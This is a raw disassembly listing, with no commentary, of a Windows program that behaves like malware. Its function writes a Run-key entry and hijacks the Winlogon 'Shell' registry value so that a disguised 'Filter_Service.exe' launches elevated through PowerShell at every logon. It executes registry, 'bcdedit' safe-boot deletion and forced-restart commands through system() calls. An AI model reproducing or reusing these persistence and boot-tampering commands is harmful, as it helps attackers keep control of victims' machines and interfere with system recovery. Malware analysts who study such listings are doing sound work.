mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
lea rcx, [rsp + 0x58]
call fcn.14000e880
nop
mov r12d, 0x16
mov r8d, r12d
lea rdx, str.AppDataLocalService
lea rcx, [rsp + 0x58]
call fcn.14000cea0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x108], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400190d0
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400190cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400190cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rax, rsi
mov rcx, qword [rbp + 0x108]
sub rax, rcx
cmp rax, 2
jb 0x14001a01b
lea r9, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r9, qword [rbp + 0xf8]
mov qword [rsp + 0x30], 2
lea rax, [0x140024194]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x40]
call fcn.14000e880
nop
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
lea rdi, [rbp + 0x250]
mov r14, qword [rbp + 0x250]
mov r15, qword [rbp + 0x268]
cmp r15, 0x10
cmovae rdi, r14
mov rbx, qword [rbp + 0x260]
cmp rbx, rsi
ja 0x14001a021
mov qword [rbp + 0x38], 0xf
cmp rbx, 0x10
jae 0x1400191a3
mov qword [rbp + 0x30], rbx
mov r8d, 0x10
mov rdx, rdi
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memmove
jmp 0x140019232
mov rax, rbx
or rax, 0xf
cmp rax, rsi
ja 0x1400191ba
mov rsi, rax
cmp rax, 0x16
cmovb rsi, r12
mov rcx, rsi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140019207
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140019fd9
mov rcx, rax
call fcn.14001e2a0
mov rcx, rax
test rax, rax
je 0x140019200
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140019216
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140019213
call fcn.14001e2a0
jmp 0x140019216
mov rax, r13
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rsi
lea r8, [rbx + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, [0x140024198]
lea rcx, [rbp + 0x60]
call fcn.140001310
nop
lea rdx, [rbp + 0x20]
mov rcx, rax
call fcn.140003ff0
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x78], rax
lea rdx, [0x140022874]
lea rcx, [rbp + 0x60]
call fcn.140001310
mov rsi, rax
lea rdx, [0x140022835]
lea rcx, [rbp + 0x20]
call fcn.140001310
mov rdi, rax
lea rdx, [0x140022835]
lea rcx, [rbp - 0x80]
call fcn.140001310
mov rbx, rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp + 0x290]
call fcn.140001310
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
call fcn.140003bf0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov ecx, 0x40
call fcn.14001e2a0
mov rbx, rax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x70], 0x3a
mov qword [rbp + 0x78], 0x3f
movups xmm0, xmmword [str.HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140023fe0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140023ff0]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x140024000]
movsd qword [rax + 0x30], xmm1
movzx edx, word [0x140024008]
mov word [rax + 0x38], dx
mov byte [rax + 0x3a], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov ecx, 0x40
call fcn.14001e2a0
mov rdi, rax
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], 0x3a
mov qword [rbp + 0x38], 0x3f
movups xmm0, xmmword [str.C:ProgramDataMicrosoftWindows_FilterFilter_Service.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140024088]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140024098]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x1400240a8]
movsd qword [rax + 0x30], xmm1
movzx ecx, word [0x1400240b0]
mov word [rax + 0x38], cx
mov byte [rax + 0x3a], 0
mov qword [rsp + 0x30], 0x3a
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 9
lea r9, str.reg_add__
lea rcx, [rbp + 0xd8]
call fcn.14000e880
nop
mov r8d, 0x58
lea rdx, str.___v__Shell___t_REG_SZ__d__explorer.exe__powershell__command__Start_Process__FilePath_
lea rcx, [rbp + 0xd8]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x3a
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x13
lea rdx, str.__Verb_RunAs____f
lea rcx, [rbp + 0xa0]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400194e9
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400194e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400194e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140019540
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001953b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001953b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x140019597
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019592
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019592
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0xe8], xmm0
mov byte [rbp + 0xd8], 0
lea rcx, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], 0x10
cmovae rcx, qword [rbp + 0x1d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], r13
mov qword [rbp + 0x1d0], 0xf
mov ecx, 0xb0
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x1c8], 0xaa
mov qword [rbp + 0x1d0], 0xaf
lea rbx, [0x140000000]
lea rdx, [rbx + 0x24220]
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rdx + 0x70]
movups xmmword [rax + 0x70], xmm0
movups xmm1, xmmword [rdx + 0x80]
movups xmmword [rax + 0x80], xmm1
movups xmm0, xmmword [rdx + 0x90]
movups xmmword [rax + 0x90], xmm0
mov rax, qword [rdx + 0xa0]
mov qword [rcx + 0xa0], rax
movzx eax, word [rdx + 0xa8]
mov word [rcx + 0xa8], ax
mov byte [rcx + 0xaa], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], r13
mov qword [rbp + 0x1b0], 0xf
mov ecx, 0xc0
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1a8], 0xbc
mov qword [rbp + 0x1b0], 0xbf
lea r8, [rbx + 0x242d0]
movups xmm0, xmmword [r8]
movups xmmword [rax], xmm0
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [r8 + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [r8 + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r9, [rax + 0x80]
movups xmm1, xmmword [r8 + 0x70]
movups xmmword [r9 - 0x10], xmm1
movups xmm0, xmmword [r8 + 0x80]
movups xmmword [r9], xmm0
movups xmm1, xmmword [r8 + 0x90]
movups xmmword [r9 + 0x10], xmm1
movups xmm0, xmmword [r8 + 0xa0]
movups xmmword [r9 + 0x20], xmm0
mov rax, qword [r8 + 0xb0]
mov qword [r9 + 0x30], rax
mov eax, dword [r8 + 0xb8]
mov dword [r9 + 0x38], eax
mov byte [rcx + 0xbc], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp + 0x290]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x78], rax
lea rdx, [0x14002b088]
lea rcx, [rbp + 0x290]
call fcn.14000c820
mov rdi, rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp - 0x80]
call fcn.14000c820
mov rbx, rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xd8]
call fcn.14000c820
nop
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400042a0
lea rdx, [0x14002b0c8]
lea rcx, [rsp + 0x58]
call fcn.14000c820
mov rcx, rax
call fcn.140003a00
nop
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0x10
jb 0x140019841
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001983c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001983c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov qword [rbp + 0x1a8], r13
mov qword [rbp + 0x1b0], 0xf
mov byte [rbp + 0x198], 0
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0x10
jb 0x14001989e
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019899
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019899
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov qword [rbp + 0x1c8], r13
mov qword [rbp + 0x1d0], 0xf
mov byte [rbp + 0x1b8], 0
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0x10
jb 0x1400198fb
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400198f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400198f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x1e8], xmm0
mov byte [rbp + 0x1d8], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140019951
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001994b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001994b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140019990
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001998a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001998a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400199cf
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400199c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400199c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x140019a14
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019a0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019a0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
cmp r15, 0x10
jb 0x140019a4f
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140019a46
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019a46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x140019a93
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019a8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019a8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov qword [rbp + 0x148], r13
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], 0
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x140019af0
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019aeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019aeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], 0xf
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0x10
jb 0x140019b4d
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019b48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019b48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], 0xf
mov byte [rbp + 0x178], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x140019baa
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019ba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019ba5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov qword [rbp + 0x208], r13
mov qword [rbp + 0x210], 0xf
mov byte [rbp + 0x1f8], 0
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x140019c07
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019c02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019c02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
movdqa xmm0, xmmword [0x140024860]
movdqu xmmword [rbp + 0x280], xmm0
mov byte [rbp + 0x270], 0
mov rcx, qword [rbp + 0xc0]
test rcx, rcx
je 0x140019c8a
mov rdx, qword [rbp + 0xc8]
call fcn.14000dd80
mov rdx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xc0]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019c73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019c73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r13
lea rcx, [rbp + 0x238]
call fcn.14000cbf0
nop
mov rax, qword [rbp + 0x98]
cmp rax, 0x10
jb 0x140019cdd
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019cd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019cd7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rax, qword [rbp + 0x130]
cmp rax, 0x10
jb 0x140019d22
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019d1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019d1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov rdi, qword [rbp + 0x218]
mov rax, qword [rbp + 0x230]
cmp rax, 0x10
jb 0x140019fa9
lea rdx, [rax + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140019fa1
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019fa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [0x140024390]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d790
mov rcx, rax
lea rdx, [0x140001430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x218]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 2
jne 0x140019e5a
mov r8, rbx
lea rdx, [0x140022a44]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140019e5a
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x128], 7
mov qword [rbp + 0x130], 0xf
mov eax, dword [str.DISABLE]
mov dword [rbp + 0x118], eax
movzx eax, word [0x140022a4c]
mov word [rbp + 0x11c], ax
movzx eax, byte [0x140022a4e]
mov byte [rbp + 0x11e], al
mov byte [rbp + 0x11f], 0
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x40]
call fcn.140005200
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140019e5a
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019e55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019e55
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], 0xf
mov ecx, 0x60
call fcn.14001e2a0
mov rcx, rax
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x90], 0x55
mov qword [rbp + 0x98], 0x5f
movaps xmm0, xmmword [str.reg_delete__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__Shell___f]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400243c0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400243d0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400243e0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400243f0]
movups xmmword [rax + 0x40], xmm0
mov eax, dword [0x140024400]
mov dword [rcx + 0x50], eax
movzx eax, byte [0x140024404]
mov byte [rcx + 0x54], al
mov byte [rcx + 0x55], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.DISABLE
lea rcx, [rbp + 0x290]
call fcn.140001310
mov rcx, rax
call fcn.1400087c0
lea rdx, str.STOP
lea rcx, [rbp - 0x80]
call fcn.140001310
mov rdx, rax
lea rcx, [rbp + 0x238]
call fcn.1400068c0
lea rcx, [rbp + 0x238]
call fcn.14000cbf0
lea rcx, str.bcdedit__deletevalue_default_safeboot
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140019d29
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019f97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019f97
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
jmp 0x140019d29
mov rcx, rdi
call fcn.14001e2dc
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.14001e280
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011e0
nop
call fcn.140001280
nop
call fcn.140001280
int3
call fcn.1400011e0
int3
call fcn.140001280
nop
call fcn.140001280
int3
call fcn.1400011e0
nop
call fcn.140001280
int3
call fcn.1400011e0
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
int3